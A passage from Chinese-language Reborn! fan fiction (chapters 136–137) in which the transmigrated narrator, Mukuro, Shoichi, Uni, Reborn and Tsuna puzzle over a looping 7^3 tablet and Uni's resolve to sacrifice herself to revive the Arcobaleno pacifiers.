“按钮失效之后,只能通过稳定与否来判断吗?难怪了……”不知是不是我的错觉,我好像从六道骸的声音里听出了对正一的嘲弄,“如果一直处于活跃的最高值,不也是一种稳定吗?” “不可能!”这一次,我几乎没有犹豫,就直接否定了这个答案,“不可能,稳定在最高值那需要完整的石板提供力量,装置怎么可能……” 话说到这里,我的声音却突然弱了下去。 “哦呀,终于注意到了吗?” 我瞳孔骤缩—— 七秒,那被存档下来的七秒,我之前一直想不通的那七秒! 六道骸的声音不断在我的脑中回响,将几个关键词彻底联系了起来——七秒,轮回,和不断重复。 虽然那七秒不能被有效地使用第二次,但如果只是无效重复的话……却不是不可能。 用最简单的例子类比,就像是装置七秒一组,不断地拨打一个已经失效的电话号码,即使打不通,装置本身也会因为持续的重复而一直占线。 一直占线,自然就无法启动——从某种意义上来说,这也是保护装置稳定性的方法之一。 原来如此,竟然还有这样的手段。 真是小瞧你了,不愧是以“自我保护意识”为契机,从八兆亿个世界里卷出来的东西,这样近似于防御性的机制被祂拿捏得炉火纯青。 要是没有六道骸这种“轮回”专家,还真是发现不了。 第136章 我宣布, 从今往后,八兆亿卷王的新名字就是六道卷卷子了! 不,“六道”根本无法概括, 应该是无限道卷卷子, 能在一个器械上不断重复七秒,以确保其的长期启动,真正的无限轮回。 世界意识神奇的影响力使用方式增加了。 做到这一步都想要卡住十年穿越的通道, 就说明了卷卷子有多不愿意让主角团离开这个时代。 不,未必是主角团,主要是不想让彭格列指环离开吧?即使未来战获得了胜利,但十年后的这条时间线却已经变成了一条独立于过去的时间线, 不会因为纲吉他们的返回而重新获得彭格列指环。 消失的东西, 就是消失了,重构世界基石是几乎不可能成功的事情。 除了彭格列指环,还有一组七个必不可少的彩虹之子的奶嘴——十年后的世界,还真是要啥啥没有,也难怪卷卷子想要卡住这条穿越时间的通道。 想要让奶嘴重新获得“生”的活力, 需要非常浓烈的、富含生机的大空火焰的注入——也可以理解为, 需要身为大空的尤尼酱为之注入“生”的火焰。 “生”是不可复制的东西,如果尤尼酱将自己的“生”倾注到其他地方, 她自己的“生”就会消失。 换而言之, 尤尼酱会死。 如果说是为了拯救世界,这种牺牲还能套上大义的外壳——“即使非常可怕, 也不得不做”。但是现在, 白花花这个大BOSS消失, 密鲁菲奥雷和彭格列暂时形成了一种对峙的平衡。没有了急迫的压力, 尤尼酱也就没有了原剧情线中, 必须牺牲的理由。 不论是我还是纲吉,都极不赞成让超级可爱的尤尼酱做这个牺牲者。 不过,不知道是不是卷王的刻意设计,在我穿越来之前,尤尼酱就已经在白花花的面前激活了其他五个已经死亡的奶嘴——我的到来并没有改变尤尼酱的命运线。已经开始的过程无法终结,如果中止就意味着要二次“杀死”获得生机的彩虹之子。 哪怕彩虹之子们觉得可以,尤尼酱心里恐怕无法接受。 完蛋,有种还没有开始思考,就已经进入了死胡同的感觉。 我皱眉,将必须要进行下去的事当作题干,开始发挥我小镇做题家的本能。 既然无法改变生命的输送过程,那如果放缓输送速度,或是用什么同等力量可以替代、分担的话,说不定有转机? 但,我模拟的力量无法做到真正意义上替代火焰——尤其是7^3基石系列的限定大空火焰,在石板上拟态的那一次恐怕也已经被世界规则记录下了漏洞。 无法替代,那利用同位体联系来进行分担呢? 比如,一个尤尼酱要付出全部生命,但一兆亿个尤尼酱的话,每个人或许只需要付出一小段精力? ——没有说起来那么简单啊。 我在大脑中构建着家教世界观下的世界结构。 尤尼酱和有空间同位体的白花花、时间同位体的纲吉不一样,玛雷和彭格列都是线——空间线、时间线。但,彩虹之子是“点”,想要找到尤尼酱的“同等力量”实在困难,要时间空间同时运作才有可能。 而我已经帮白花花在这个世界已经打出了GG,总感觉这条路也不太可行。 此时把白花花拉回来的话——那可就本末颠倒了。卷卷子绝对会察觉到白花花的存活和我的觉醒,到时候只会更麻烦。 “你在考虑什么吗?” 差点忘记了,现实中的思考并不会让时间停止,旁边还有一个六道骸在虎视眈眈。 我偏头,看着和石板重新联络在一起的白色装置,屏幕上的数据有一瞬间的波动,却很快归于平静。我无法在不深入其中的情况下,感受到其中的能量变化,所以自然便看向了旁边的轮回专家,“骸君,轮回还在继续吗?” “Kufufufu——完全没有停止,甚至循环得更快更密集。”他眼睛里的数字六一眨不眨地紧盯在石板上,“但,比起轮回的时间,7^3石板上的能量流动更让人在意,明明没有足够的指环,但轮回之中的石板力量却是完整的。” 那是当然的了,在那被记录的七秒之中,我把整个石板的缺口全部都补了起来。即使这个假性满状态的石板无法起到更多作用,但占据一个器械仍然不成问题。 “只要有过一瞬间的完整,石板就能记录下那瞬间的能量。只不过,记录和发挥是两码事,我并不认为有人能够使用这股力、量……”我这么说着,声音却不自觉地缓了下来,脑子里突然闪过几个怀疑的念头。 只要有一瞬间的完整,就可以被记录——那七秒的假性完整虽然也是完整的一种类型,但假的终究是假的,无法弄假成真。可存在假性完整,并不意味着真正完整的时刻,不存在。 我恍然意识到了这点——即使基石没有嵌入石板,完整的力量也确实在不久之前,经过了石板。 那就是主角团从错误时间线穿越归来的那个瞬间。 在那个瞬间里,我的手正放在石板上,手指上戴着的大空指环补全了玛雷指环的空缺,而通过石板穿越的主角团,不仅有全部的、被时间穿越属性所挑动的彭格列指环,就连尤尼酱的身上也带着被她激活的彩虹之子奶嘴,尤尼酱之外的唯一生存彩虹之子Reborn也是穿越团队的一员。 我启动了玛雷指环,尤尼酱激活了彩虹之子的奶嘴,而时间穿越的属性带动着彭格列指环……这就意味着,在穿过石板的瞬间,实际上就相当于用完整的力量代替拟态,填补了石板的全部凹槽。 那个瞬间只怕比七秒还要短,甚至很可能连七分之一秒都不够,正常的人类想要用自己的肉眼和感知来捕捉那个瞬间是绝对不可能的。 可是,卷卷子却不一样。 祂能够捕捉每一个意识的每一个瞬间,并且将“瞬间”的概念拉长。 那样的话,卷卷子没道理会放过那个瞬间。 和我制造的那种只能使用一次就会被规则发现漏洞并且禁止的拟态不同,那即使短到只有七分之一秒的完整状态,也是货真价实的7^3。 卷卷子一向很有长远目光,从不虎头蛇尾。祂控制着石板和白色装置绝不可能“留人”这一步,接下来肯定还有其他手段。 “骸君,请——” 我一转头,正打算和六道骸好好交流一下,背后便传来一声冲天尖叫,差点穿透我的耳膜。 当代善逸? “啊——!纲不吉君!六道君!你们在干什么啊啊啊啊啊——!” 好不容易从彭格列式聚会脱身,不辞辛苦打算来好好加一个班的入江正一,一进门便发出了尖锐爆鸣声。 入江正一:一生如履薄冰为什么要遭受这样的事,007途中突然发现两个不靠谱的同事不知道对他的电脑做了什么,而且还把石板直接嵌入了装置。 …… 人的潜力果然那是无限的呢,不擅长战斗的正一竟然能在眨眼之间就扑到我面前。 “万一石板和装置完全连在一起可怎么办,石板是完全物质,会把石板下的力量封死!装置里面可还有十年后的纲吉君的家族啊,如果出不来的话,就真的要变成活化石了啊啊啊啊啊!” 正一抓着我的肩膀猛猛摇,非常激动地大叫着。 活化石,难道他真是天才? 我举手,拍拍正一的脑袋,“不用担心,一切尽在掌握,我可以负责人的告诉你,你刚才说的话不对。” “即使这样也太吓人了……” 正一似乎想要松一口气,可话还没有说完,我就露出了经典阳光开朗大男孩的笑容,给他比了个大拇指,自信道:“应该把‘万一’去掉,毫无疑问石板已经和装置连在一起啦!” 正一:? 正一:……6 “正一君,好像有什么东西从你的嘴里飘出来了哦。”我惊奇道。 “Kufufufu——那大概是入江正一的灵魂吧。”六道骸竟然还饶有兴致。 啊,不要死啊,正一君! 碎碎念的正一从向神佛祈祷,转到了向十年后的纲吉君谢罪。我看着他摇摇晃晃地从我身上爬起来,在神秘四次元口袋中抽出了一把刀,一边念叨,一边将刀尖抵在了自己的腹部。 这已经是要切腹谢罪的程度了吗! “稍等,正一君,完全没有必要切腹!即使没有主动把7^3石板放上去,如此近的距离,二者总还是会被吸在一起的,不过是早晚的问题。” 没错,即使没有我和六道骸,二者的贴合也已经不可逆转。 “这难道能算是安慰吗?”正一惊恐。 其实,使用过7^3力量、并且还保存着对石板记忆的白色装置,本身就已经拥有了对7^3力量的适应性,石板上还在不断重复轮回着那七秒,不断加深着这种适应性……要知道,那被记录的七秒里,石板正嵌在装置上。 我只是缩短了这一步而已,并不是真的无脑莽夫。 相反,帮助卷王缩短计划,可以减轻对装置内的纲吉家族身体的负担。 我开始给正一解释。 “毕竟十年后的纲吉君他们才是装置真正的核心,装置一直在启动中的话,就相当于核心抑制在运作,必然会给他们的身体造成负担。在轮回的是石板上记录的启动状态,而非是装置本身,” 毕竟,石板和卷卷子连接最深,那七秒也是我伸出石板世界时被记录下来的状态,“换而言之,先前的状况还,是只有石板本身在不断回溯,而装置内的核心实际上是在不断地启动中消耗的。在无意识中被强拉着持续释放火焰的后果,正一君应该比我还清楚。火焰即生命,十年后的纲吉君他们随时都有可能因为无法支撑这种消耗而陷入死亡状态。可如果把石板和装置完全连在一起的话,反倒会让白色装置也跟随石板一起开始七秒轮回,如此便不会持续消耗核心。” 毕竟,虽然白色装置看上去要比石板大,我描述的时候也常用“石板嵌入装置”这样的说辞,但实际上,石板的维度和强度要比装置高得多,两相连接的情况下,服从同化的一方,一定是装置而非石板。 我解释得很快,轮回的概念在彭格列之中,原本就不是陌生的词,正一又很聪明,很快就追上了我和六道骸的思路,甚至直接跳到了讨论解决办法的论题上。 “也就是说——要想办法先将装置的运行状态停下来,才有机会正确重启……对吧。” 他眼中的任务,一下子从想办法启动装置,变成了先想办法关闭装置,再想办法启动装置。 “话是这样说没错,可是事实却没有说话那么容易啊——”我抬手,在正一的瞳孔地震中,“邦邦”给了白色装置两拳,“看吧果然,同化之后,白色装置也和石板一样,几乎变成了完全物质,外力无法将其破坏。” 这样有着完整运行机制的东西,是很难被停下来的,尤其是从外部。 “外部做不到的话,就只能从内部想办法了吗……”正一摸着下巴,仔细地思考起来,比起7^3石板,他显然对装置更加了解,此时第一反应想到的,仍然是装置的内部,“如果打开装置核心,无疑会造成时间的折叠和混乱,时间性质的同位体处在一个时间点的状态非常危险。但如果只是唤醒内部意识的话,说不定可以中止核心的能量供应,没有了适格者的配合,装置的力量很快就会被耗尽。虽说十年炮筒是装置的蓝本,但实际上彭格列指环「适格者」的身份非常重要,如果没有能够穿越时间的特殊体质的支持,装置的完整度就会下降……” 不知不觉又开始碎碎念了呢,正一。 他是说话时更容易整理自己的思路的类型。但是,你这样想的话,我会困扰的。 “不行的,正一君。装置的核心虽然是十年后的大家,但是石板的核心却不是。我不是说了吗,二者相连之下,会以石板的特性为主。你得赶紧转变思路才行,要从石板的角度来思考,明白吗。” “Kufufufu——说起从石板的角度思考,纲不吉君应该非常熟悉了吧。”六道骸听到我的表达方式,马上便想起了我和他的那次海上交谈,当时用来搪塞卷王的话,此时成了不可改变的事实,“怎么,难道这一次石板没有和你交流吗?” 你别说,还真没有。 不过,即使不交流,石板——也就是卷卷子的“心意”,也已经完美地传达到了我的心里。 “虽然不是言语的交流,但——大概能够感觉得到。”我没有把话说得太满,以免被抓住什么漏洞,“而且,‘从内部打破石板的现有状态’这句话说出来,本身就只有一个答案,不论交流与否,都无所谓的吧。” 因为,石板就只有一个“内部”可言。 入江正一和六道骸显然也想到了这唯一一个答案。 “你是说……完整的7^3?”正一不自觉地捂住了嘴巴,放轻了声音,像是生怕有人听到他的话一样,又像是担心自己的声音惊扰了什么东西似的,“但这种事……” “能做到的吧,而且是非常直接就可以做到。”我直视着被墙阻挡的方向——也是正在“内战”的彭格列家族的方向。 六道骸低头,看着被地狱指环占据的手指,像是在通过自己的手,看向他可爱的库洛姆的小手,和可爱库洛姆手上的彭格列指环,“确实如此。” 说起来,他会这样积极主动地参与到我的行动中来,恐怕也是因为装置里被困住的十年后的库洛姆吧? 原则上来说,一直启动的装置的危险性对所有装置内的人都是平等的,但实际运行里,却并非如此,人和人的体质不能一概而论。 和陷入沉睡假死状态的十年后家族的其他人不同,库洛姆的生存依靠着六道骸特殊幻术制造出来的内脏。没有火焰、完全隔绝,就意味着六道骸的幻术会慢慢失效。 虽说,未来的纲吉能想出穿越的计划来,并且征得六道骸的全力配合,本身就意味着,一定有专门针对库洛姆情况的应对措施。 只不过,任何措施都不可能永远有效,六道骸的眼神中略带着急躁,说明这个“应对措施”多半存在时间限制。 这个隔绝了火焰却在持续运行的装置,对库洛姆的威胁是最大的。 他赌了,白花花那样渴望彭格列指环,必然不会放过过去来的穿越者,未来战持续的时间不会过长。如果未来战赢了的话,时间线变动,库洛姆自然就能安全地离开装置,他就能续上幻术;但如果赌输了,未来战输掉的话,最多不过就是世界毁灭,那时候装置内外也便没有了区别,超时不超时的也同样失去了意义。 六道骸设想的两条路中,唯独不包括现在这样虎头蛇尾的未来战。 因为未曾设想,所以才会急躁。 入江正一的表情空了几秒,这才回神,“但……那不就和白兰先生想做的事没有区别了吗?!” 白兰先前一直在做的,不正是收集彭格列指环和彩虹之子的奶嘴吗?他想要获得完整的7^3石板,想要看到世界的真相。 “不不不,完全不一样!”我连忙摆手,“完全不一样,白兰是大BOSS,平行时空中的他确实无数次用7^3的力量毁灭了世界,但制造了那样结局的是白兰本人。7^3在世界毁灭之前就一直存在,它是一种力量,一种可以改变世界根本的力量——但,不论多强大的力量,说到底也只是一种力量,使用者才是关键。” 正一还没有什么,六道骸就先不买账了,“哦呀,之前不是还说,7^3拥有自己的‘意识’吗?” 我顿了一下,“……石板的意识和一般意义上的生物意识可不是一种东西。” 虽然说无限道卷卷子同学从八兆亿个世界里卷了出来,产生了自我意识,但这种自我意识和一般意义上的意识完全不同。 意识集合体习惯了用第三人称的上帝视角来看待问题,即使产生第一人称的主观视角,也和人类有本质上的区别。 只要存在着这种区别,祂就无法变成他或是她,无法在真正意义上成为一个完全独立的个体。 我轻轻摩挲着石板的边缘,猜想着卷王的最终目的。祂花费了很大的精力来制造我这个意外,为的就是打破原有的世界线。 既然生出了自我意识,那想要成为一个独立的、不受世界规则束缚的个体也是理所当然的想法。 我觉得,应该顺从这种想法。 毕竟对我来说,一个和世界连接着的、无法完全消除的意思相比,独立的个体显然更好对付。怎么都比用毁灭世界的方式来人道毁灭卷王要好吧。 “不……一样?”正一踏入了一个陌生的领域。 说起世界意识,那我可就不困了。 “嗯,说是意识更像是一种规则,世界有自己的运行规则,无形的规则依附于有形的石板——也可以直观理解为,7^3就是‘意识’本身,祂和石板的关系,就像是普世意义上的灵魂和身体。这样解释的话,可以明白吗?” “嗯,可以。”正一点头,理智上理解了,但情绪上一时间无法接受。 毕竟是白花花毁灭世界的第一步,谁使用都会有心理负担。 和他比起来,六道骸可就淡定许多,“话虽如此,可即使理解了石板意识的构成,也依然有一个无法解决的问题。” “你说的应该是彩虹之子的奶嘴,对吧?”我一语道破。 六道骸颔首,“即使有那个大空的女孩,彩虹之子的奶嘴也不是短时间内可以‘复活’的东西。” 而六道骸现在在争取的就是时间,在我纠结的那些日子里一直运行的装置核心中,库洛姆的状态不知道被消磨成了什么样,“如果要加速这个过程的话,就必然会——” 他没有把话说完,但我实际上已经听到了后半句。 ——尤尼酱就必然会死。 六道骸果然自带bug,我是读者视角很全知,没想到他竟然也知道。 “会怎么样?”我和六道骸知道的结论,正一却没有get到,或者说,有些不愿意get到。 他已经从六道骸的语气中,察觉到了异常。 我没有兜圈子,直接开口,“会耗尽生命。” 入江正一,瞳孔地震。 “怎么会这样……” 他的眼神,绝对是已经想到了,只是不愿意相信。 “其实很好理解吧,原本的彩虹之子都已经确认死亡。跨越生死本来就是很困难的事情,没有代价的话,不是才更奇怪吗?”我叹了口气,“可如果没有完整的7^3的话,纲吉君他们大概永远都无法回到自己的时间线了啊。他们如果无法回去,装置里的大家也就无法出来……电车难题。” 至少就结果而言,这句话可没有一点水分,不是用来吓唬入江正一的话。只不过,无法回到过去的理由可能和正一想得不太一样。 如果得不到7^3,卷王不会放人走的。而且拖得时间越长,卷王会叠加的影响力也就越大。 “不过……”我拖长了音调,正打算制造峰回路转的抓马效果,没想到有人打断了我的话。 而且这个人,还是不知道什么时候就站在了门外的尤尼酱本人。 “请不要顾忌我,这是我的责任。” 为什么尤尼酱会出现在这里? 她不是应该在庆祝宴上吗,难道说那个庆祝宴已经变异到,连有Reborn亲自保护的尤尼酱都吃不消的地步了? 总感觉,很有可能。 彭格列式宴会,果然好可怕。 我转身,对上了尤尼酱超级坚定的眼神,仿佛和平时的她完全不是一个人。 在她小小的身体里,我仿佛能看到无尽的力量。只有在这种时候我才真正意识到,尤尼酱是一个黑|手|党|家族的BOSS,而不是一个普通的小女孩。 真正的大空不是只有亚撒西就能当的。 入江正一努力摇头,试图中止尤尼酱的念头,“这种事,纲吉君他们绝对不会同意的!” “但是,必须有谁来做不可,而我是唯一有这个能力的人。”这完全是在谈论自己的死亡,但尤尼酱连声音都没有颤抖,“我早在「选择」的时候……不,更早,在答应和白兰单独见面的时候,就已经做好了准备。不仅仅是为了纲吉君,这也是我身为彩虹之子的大空、彩虹之子的BOSS,必须要承担的责任!” 她说着,还将彩虹之子的奶嘴全部都掏出来,捧在了手上。 ……? 尤尼酱真的是随身携带? 不对,不仅仅是携带而已,我眼睛一眯,发现她手中的奶嘴颜色非常鲜艳、明亮。她一直在给这些奶嘴输送自己的大空火焰。 难怪尤尼酱看上去一直有一种消除不掉的病弱感,原来是因为这个吗! 再仔细看看的话,进入这个房间之后,她的脸色好像更加苍白了。 石板的影响力很足,应该是在石板的影响下,大空火焰的输送速度变得更快,所以尤尼酱手中的五个奶嘴看上去才会肉眼可见的,更明亮、更富有生机。 和彩虹之子死亡之后的黑白奶嘴完全不同,绝不是我的错觉,其中有一个奶嘴甚至还长出了一个黑色的小发揪。 那好像是,岚属性的彩虹之子——风的发色吧? 尤尼酱在春天种下一个奶嘴,秋天就会长出一个活着的彩虹之子——槽点满满,好诡异的句子,从这种意义上来说都很微妙。 看着尤尼酱这样觉悟的眼神,我反倒是觉得那些拿不准的话,此刻有些说不出口。 峰回路转的可能…… 不,在没有把握之前,还是先不要和尤尼酱提了吧。我可以毫无心理负担地糊弄六道骸,但却不能用模棱两可的可能搪塞有这样眼神的尤尼酱。 在尤尼酱出声之前,我已经把“不过”两个字说出了口。她和正一似乎没有什么反应,可旁边六道骸的视线却灼灼有神地落在我身上。 但没关系,再一次,我可以毫无心理负担地糊弄六道骸。 我将余光分给了他,和他快速交换了一个了然的视线,对嘴型无声地约他一会儿再谈。 和他的交流,还是私下进行吧。 第137章 就像当初作为基里奥内罗家族的BOSS, 尤尼酱决心一个人和白花花对线一样。她决定的事,外人谁都无法动摇。 我和入江正一相顾无言,这已经超出了他能够做的决定范围, 必须要马上把这件事告诉另外一个大空, 也就是纲吉——还有Reborn,他是彩虹之子,他拥有了解彩虹之子大空决定的权力。 我能够感觉到入江正一心里弥漫的希望, 他无法在技术层面上突破的难题,便不自觉地寄希望于“奇迹”——八兆亿个世界中诞生的唯一一个奇迹。 或许也不能说是唯一一个,毕竟卷王也是奇迹之一。 祂和纲吉说不定意外地有很多共同点。 “入江先生,请不要现在去打扰他们, 大家好不容易有机会放松下来, 至少今夜,不要让我的问题打扰他们的快乐。”尤尼酱站在门口,阻止了正一的脚步。 可恶,太温柔了啊,尤尼酱。 都这种时候了, 她第一个考虑的仍然是别人。 即使吵闹, 她让人在彭格列的庆祝宴上感受到了久违的放松和愉悦。 从主角团突然被拉到这个十年后的世界开始,大家的神经都太紧绷了, 越级的战斗接连不断, 失败—修行—战斗的循环不停,长时间脱离日常的连轴转让他们几日内都不曾真正拥有危机解除的实感。 这场混乱的彭格列式庆祝宴其实比想象当中还要重要。 “让大家好好放松一下吧。”尤尼酱的眼神柔和, 像是宠溺着孩子的母亲。 但尤尼酱, 自己都还只是个孩子。 我叹了口气, “但, 彩虹之子的奶嘴对你的消耗却无法停止。” “我没有关系, ”她将五个奶嘴紧紧地揽在怀中,“我,已经很习惯了。” 不,这不是应该习惯的东西吧。 拗不过尤尼酱,就只能和她妥协。 得到了我们不会去打扰庆祝会的保证,尤尼酱才安心回去休息。 吵闹的庆祝会几乎持续了一整夜,等到纲吉君和Reborn等人听说入江正一说起这件事的时候,已经是第二天的午后——“上锁”的时光机和需要被集合在一起的7^3,棘手,非常棘手,而且还非常矛盾。 “怎么会这样……”纲吉的刺猬头都失落了下去,下垂的兔耳朵如有实质,失落和拒绝两个词写在他的脸上,“为了要回到过去而牺牲尤尼酱什么——这种事,我不能接受!如果要牺牲掉尤尼酱的性命,我、我——就算是回去,我也无法再前进!” 他像是想要说出什么更狠的话,却一时连语言都无法组织好,只能用沙哑的声音说出苍白的话语来。 即使重启时间线、即使过去的尤尼酱仍然能够存在,也依然无法改变这个时间点的尤尼酱会就此消失的事实。 眼睁睁看着一个同伴为自己的事而身形俱灭,我就知道,纲吉是不可能接受的。 他极度排斥着。 我低头,看着尤尼酱的发旋,和颤抖的睫毛。再次无法辩驳地意识到,即使白花花在尤尼酱的认知中已经死亡,即使未来毁灭的世界危机已经解除,尤尼酱却从来没有中止自己激活彩虹之子奶嘴的行为。 就像我所说的,作为彩虹之子的大空,她不能接受自己“杀死”其他五个彩虹之子。 “沢田先生,我能做到,我必须做到!”她的声音明显有些中气不足,如果仔细分辨的话,应该还能听出她尾音的一丝颤抖。 中气不足是因为给彩虹之子的奶嘴树输送火焰的持续消耗,那一丝不易察觉的颤抖,大概是因为尤尼酱心底隐藏的恐惧。 对死亡和消失的恐惧。 即使可以坚定不移的做出决定,但果然那还是会害怕——害怕死亡、害怕消失、害怕……孤独。 纲吉隐约抓住了些什么,但更多地却是感觉到了尤尼酱的坚定不移。他自己也曾有过想通的情绪,最清楚要改变这种觉悟的难度,情急之下他转头看向自己的老师、神奇的海螺蚌——Reborn的蚌,不许扣我谐音梗的钱。 “喂——Reborn,说点什么啊,这样下去的话,尤尼酱就要……” “我是晴的彩虹之子,而尤尼是彩虹之子的BOSS。作为彩虹之子,不论BOSS做出什么决定,我都会支持。”Reborn甚至没有动纲吉说完话,他低着头,任由帽檐的阴影遮住了他的眼睛。他是见过前代彩虹之子大空的人,他一定是在尤尼酱的眼睛里看到了和当初尤尼母亲一样的觉悟。 听到万能的Reborn这样说,纲吉发出了尖叫鸡一般的声音,“可——!” “作为彩虹之子,我不会阻止大空的意志。但是——”Reborn抬起帽檐,看向了尤尼,“但是,作为个人,我无法赞成你的决定。” 尤尼酱面色一柔,眼睛里蒙着一层朦胧的水雾,“Reborn叔叔……” “是啊,尤尼酱,一定还会有其他办法的!”纲吉据理力争,作为能够用“破坏彭格列”来作为继承彭格列答案的人,他有这样的想法倒也不算出乎所料。 即使现在没有办法,但只要大家一起努力的话,一定能穿出一条新的出路。 好炽热和单纯的决心。 我靠在沙发上,思索着和六道骸的对话。 其实没有说几句,比起对话内容,我更多的是和他交换了态度。 总觉得有些微妙。 他可没有纲吉的纠结,虽然按照原来的剧情线,他也在选择战上也保护了尤尼酱,也非常认同甚至是尊敬尤尼酱的觉悟。但如果要让他在尤尼酱和库洛姆之间做选择的话,他根本不会犹豫。 六道骸当然也没有明说什么,不过态度很明显。 毕竟是个狠角色,如果走到“不得不”的那一步,感觉他可以先斩后奏的样子。 不愧是无法捉摸的“雾”。 我叹了口气,顺着纲吉开创新大陆的想法思考起来。 其实从理论上来说,我本人就像是一本可以在任何世界起效的、活体的「书」,只要有合理的逻辑,只要能够得到世界基石们的意识的认同,就能做到心想事成。 按照「书」的逻辑,哪怕是创造一个新的生命、创造一个新的彩虹之子大空「适格者」也并非不可能。但实际操作起来,却没有嘴上说的那么容易。在未被同化的情况下,想要一边对抗卷王的影响力,一边通过逻辑构建设定让人们接受着实并不是一件容易的事。 特别是这里最重要的主角团超级难搞,看似只是没有黑泥的单纯热血漫,可实际上——大空拥有超直感,虽然是小白兔,但却是个难骗的小白兔,主打的就是一个直觉系开挂永不认输;山本是个天然黑,轻易就做到了一边“啊哈哈哈,真有趣,让我也加入进来吧”,一边一个字也没有信的高级成就;狱寺更是对我超警惕,不知是不是因为猫科动物本能的缘故,并且他还是彭格列十代目家族里少有的大学霸,是个逻辑怪,简直是刨根问底第一人,我不想和他打擂台; 蓝波是个真·个位数小屁孩,很多时候我根本无法判断他有没有听懂我说的话;了平大哥倒是非常直白热血,但恕我直言,他某种意义上来说,和蓝波完全是同一级别;云雀恭弥?和他群聚有风险、难搞程度日常爆表;最后一个六道骸信三分、脑补三分、保留三分,剩下九十一分全是怀疑和探究,并且完全不给我靠近库洛姆的机会;Reborn……世界第一杀手的含金量还需要我多说什么吗? 前途光明我的看不见,道路曲折我走不完。 至于尤尼酱……她是另一种意义上的强大,真不是我萝莉控,但我看着她的眼睛,完全编不出假话来。 败了,完败。 森先生说得对,萝莉真是世界的瑰宝。 如果有机会回去,我一定好好给你正名的! 不过,即使不考虑主角团的接受度,在八兆亿卷王是敌人的情况下,还要依靠世界意识的同化和影响力,岂不是在当小丑的边缘疯狂试探?翻车概率奇高无比。 果然还是强大的人设之力当作欺骗卷王的道具比较好。 我瘪了瘪嘴,有些走神。 走神得太过专注,以至于Reborn都坐到了我身边,和我说了一句什么话,我都没有反应过来。 他犀利的豆豆眼在发力。 我尴尬地挠了挠头,“额……抱歉,你刚才说什么来着?” Reborn不愧是能够教育迪诺和纲吉的老师,情绪相当稳定,一点也不生气,只是淡定地重复了一次,“听入江说,将我们从异常时间线拉回来的石板力量是你启动的。石板的能量波动超越了单一指环相呼应的能量上限,很可能是通过特别的共鸣激发了十年后大家的彭格列「适格者」力量。如果石板上的力量在时间穿越中,可以起到共鸣效果,那么你认为,将玛雷指环和彭格列指环都嵌入石板之中,是否也可以使用尤尼「适格者」的特殊性短暂地替代奶嘴本身的力量?” 不可能,我在心里即答。 其实……那个石板的超标数据,并不是因为激发了装置内的彭格列「适格者」的力量,而完全是我拟态出来的力量。 所以Reborn设想的这个可能,是绝对不会成功的! 我一边在心里尖叫,一边却同时认识到,这是个机会,一个能够让主角团主动把指环嵌入石板的机会。 而这个机会,甚至不是我自己提出来的。 有种螃蟹自己跳入火锅里煮自己的既视感。 我几乎想要使用呼吸法来稳定自己的心态,打算好好把握一下这个机会。眼前的人可不是好糊弄的,我快速思考着他们各自不同的人物特征,得出结论:我越是想要让他们主动把彭格列指环嵌入石板,就越是要反对,欲擒故纵的计策在这里说不定能起奇效。 “……是可以尝试一下,但——我个人认为可能性不大,”我斟酌了几秒,背对着尤尼酱的脸,在Reborn充满压迫力的豆豆眼中、在纲吉的超直感中,拿出了我多次编写剧本的全部实力。 这里的精髓就在于,要用一点文不对题的真话作为铺垫来赢得前置位信任,“不论是时间还是空间,不论是彭格列指环还是玛雷指环,其所代表的都是‘线’——时间线,空间线。而被‘线’所连接的体系里,当然可以相互呼应、产生共鸣。但是,尤尼是‘点’——‘彩虹时而出现又虚无缥缈’,点与点之间的联系性无法达到线的程度。这件事,从7^3三者不同的传承方式里就可以以小见大……玛雷指环和彭格列指环都可以通过血缘、认同等种种因素代代相传,传承的过程本身就是‘线’表现,可是彩虹之子的选择和继承都是完全不同的模式。” 我说着,眼睛定定地回应着Reborn的眼神。 彩虹之子的特殊继承,身为彩虹之子的他自然也最清楚,但理论上来说,外人却不可能知道彩虹之子的继承方式。 所以只要我说出这件少有人知的事,就能轻易获取关键成就“Rebornの思考”。 “彭格列指环选中了彭格列的大空,玛雷指环选中了玛雷的大空,寻找剩下的家族成员、更换更适合的守护者,是大空的工作。但是,彩虹之子则要反过来,不仅每一个彩虹之子的奶嘴都会选中特定的人,而且一旦彩虹之的诅咒成型,除了大空以外的守护者就无法变更。” 在我提到“诅咒”一词之时,Reborn的眼神明显一变。 这个用词就成了我说服Reborn的锚点。 “7^3的力量的内部特性非常稳定,从继承和传承方式就可以窥见其根本特性。”我抬头,发现纲吉的脸上已经清晰地在显示“404”“网络无响应”的字样——他好像有点状况外了。 我赶紧结束了自己的谜语人行为,清了清嗓子,“咳咳——简单来说,彭格列和玛雷的指环,本身就是可以连成‘线’的力量,所以自然可以很容易因为7^3的联系而产生共鸣;但各自为营的彩虹之子的奶嘴却每一个都相对独立,并不具有连成‘线’的特质。所以,我并不认为可以钻这个空子。” 我严肃地表达了自己的反对意见,让自己看起来异常正直。 看我真诚的大眼睛。 说完了这些,我才终于能转身面对尤尼酱,峰回路转了一句,“如果只是尝试一下的话,也并非完全没有价值。只不过,想要最大限度地制造共鸣可能,就必须要释放彭格列指环的完整状态。而嵌入石板的指环一旦被激活,想要重新再拿下来可就没有放上去的时候那么容易了。” 我已经尝试过去抠玛雷指环,但不知是卷王の占有欲不容小觑,还是白花花这个玛雷指环的「适格者」已经消失在这个世界,嵌入的指环和凹槽严丝合缝,果然取不下来。 “要试吗?”我故意问Reborn,并且隐晦地朝他摇了摇头,暗示着这个方案极低的成功率。 但我心里其实很清楚,此时不论我如何暗示,Reborn也会假装没有看到。 就像他不会强硬地改变尤尼酱的意志一样,他也同样不会替代真正应该做出决策的人。 果然,Reborn并没有理会我、也没有命令什么,而是把选择权交给了彭格列大空指环的「适格者」,“阿纲,你怎么说?这可是你要做的决定。” “诶?!我吗?我一个人?我一个人决定?!”纲吉的额头上垂下黑线,显然非常不擅长做这样的极端决定,“啊啊啊啊啊怎么办,我一个人做不出决断的啊!” 他抱着头、紧闭双眼,整个人看上去都急躁了起来,头发像是触电了一般,绷得更加支棱。 纲吉可真好懂,所有的情绪都写在脸上……不,是写在头发上。 说真的,那真的是头发不是耳朵?真正的智能头发,可以根据主人的情绪调整状态。这、这难道就是传说中的,古早玛丽苏吗? 别说,纲吉还真拥有万人迷小白花的潜质,连人设和周围围绕的“守护者”类型都是galgame的标配,各种类型应有尽有。 好像有点跑题了,但认真地说,彭格列家族内部随机组合,都非常好嗑,不愧是我的嗑学启蒙作,我的CP之魂在觉醒。 